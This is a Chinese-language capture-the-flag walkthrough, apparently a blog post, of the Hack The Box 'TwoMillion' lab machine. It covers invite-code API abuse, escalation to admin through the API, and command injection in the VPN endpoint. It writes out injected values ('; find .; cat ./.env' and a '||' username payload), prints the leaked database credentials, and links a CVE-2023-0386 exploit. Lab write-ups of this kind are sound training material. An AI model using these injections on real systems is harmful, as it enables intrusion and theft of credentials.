HTB TwoMilion

先扫一下端口,22和80开放

进浏览器页面看一下,这一步无法直接访问,因为可能htb没有将2million.htb注册到公网DNS服务器

需要

复制代码
sudo echo "10.10.11.221 2million.htb" >> /etc/hosts

卡了半天总算进来了

注册用户在invite页面需要输入邀请码,看网页源码,在/js/inviteapi.min.js中发现一段混淆的js代码,丢给ai解混淆

复制代码
var verifyInviteCode = function(code) {
    var formData = { "code": code };
    $.ajax({
        type: "POST",
        dataType: "json",
        data: formData,
        url: '/api/v1/invite/verify',
        success: function(response) {
            console.log(response);
        },
        error: function(response) {
            console.log(response);
        }
    });
};

var makeInviteCode = function() {
    $.ajax({
        type: "POST",
        dataType: "json",
        url: '/api/v1/invite/how/to/generate',
        success: function(response) {
            console.log(response);
        },
        error: function(response) {
            console.log(response);
        }
    });
};

得到两个函数,一个向服务器验证邀请码,一个制造邀请码

试一下制造邀请码,发现

rot13解密新端点,

复制代码
curl -X POST http://2million.htb/api/v1/invite/generate
{"0":200,"success":1,"data":{"code":"MDBaQ1QtSTJORUItVkZVWjYtQlVaSjI=","format":"encoded"}}

访问拿到base64加密过的邀请码

注册一个用户进来

进来的页面点按钮要么没反应要么没信息,目录爆破一下,先装个dirsearch

复制代码
sudo su
apt-get install dirsearch

出来一个access路径没见过,进去可以下载ovpn文件,下载方式跟之前生成验证码的方式很像,都是通过api生成

因为有了登录,所以我们看一下可用的api有哪些

接下来可能需要这些api完成提权操作

我们向update user settings这里抓个包看看,根据它的需要补齐json数据

到这里应该就完成提权了

测试一下admin的几个api,发现vpn这个可以命令注入

复制代码
/home/admin/user.txt: Permission denied

有flag,但是没权限

接下来用kali接收反弹的shell

复制代码
└─# ip addr show tun0
6: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500
    link/none 
    inet 10.10.16.35/23 scope global tun0
       valid_lft forever preferred_lft forever
    inet6 dead:beef:4::1021/64 scope global 
       valid_lft forever preferred_lft forever
    inet6 fe80::70fb:efb2:5610:8fa5/64 scope link stable-privacy proto kernel_ll 
       valid_lft forever preferred_lft forever

但是环境是php,用find找找环境变量.env在哪

复制代码
;find .;cat ./.env

发现数据库的登录名和密码

复制代码
DB_HOST=127.0.0.1
DB_DATABASE=htb_prod
DB_USERNAME=admin
DB_PASSWORD=SuperDuperPass123

kali新开一个终端进行ssh登录,拿到admin用户

看看suid

复制代码
{
"username":"123 || find / -perm -u=s -type f 2>/dev/null || "
}

发现CVE,大概率是要用这个提权了

https://github.com/Fanxiaoyao66/CVE-2023-0386

虽然上面有现成的,但是使用时一直无法正常提权(好吧原来是www-data不能正常用,admin可以

突然意识到,这个靶机是共享的,所以其实tmp下的cve利用是其他人上传的

相关推荐
智擎软件测评小祺1 小时前
渗透测试报告关键模块拆解
网络·web安全·渗透测试·测试·检测·cma·cnas
智擎软件测评小祺8 小时前
渗透测试报告撰写:漏洞发现到验证流程
网络·渗透测试·测试·cma·第三方检测·cnas·渗透测试报告
网络安全许木17 小时前
自学渗透测试第11天(Linux压缩解压与磁盘管理)
linux·网络安全·渗透测试
网络安全许木1 天前
自学渗透测试第13天(DVWA配置与信息收集命令)
网络安全·渗透测试·信息收集·kali linux
网络安全许木1 天前
自学渗透测试的第十天(HTTP进阶与Burp Suite基础)
网络·网络协议·http·网络安全·渗透测试
vortex51 天前
【红队】企业内部安全区域划分与攻防思路解析
网络·安全·网络安全·渗透测试
网络安全许木2 天前
自学渗透测试第12天(渗透测试流程与DVWA部署)
web安全·网络安全·渗透测试
vortex52 天前
SOAP 协议中的 XML 外部实体注入(XXE)漏洞
xml·网络安全·渗透测试
Sombra_Olivia2 天前
Vulhub 中的 bash CVE-2014-6271
安全·web安全·网络安全·渗透测试·vulhub
网络安全许木2 天前
自学渗透测试第八天(网络安全法、伦理规范与工具链联动)
windows·web安全·网络安全·渗透测试·kali linux